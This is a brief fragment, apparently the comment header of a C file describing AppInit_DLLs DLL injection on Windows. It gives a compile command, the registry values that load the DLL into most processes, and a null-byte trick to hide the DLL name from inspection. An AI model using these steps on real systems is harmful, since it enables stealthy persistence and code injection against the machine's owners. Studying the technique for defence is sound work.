AppInit_DLLs injection
// Compile with: cl.exe appinitdllinjection.c /LD /o appinitdllinjection.dll
//
// This DLL can only be injected in a x64 process
//
// Set the registry to automatically load this DLL into 'any' process that is started (at least the ones relying on User32.dll)
// by using the AppInit_DLLs capability:
//
// HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs = 'path_to_the_dll' (comma or space separated if required)
// One trick with this registry entry is to separate DLLs with an hex '00' (by editing the value in binary) to hide the DLL name
//
// HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs = 1 (to enable this mecanism)

It can be found somewhere in your visual studio tools folder. You can use it with the visual studio command prompt
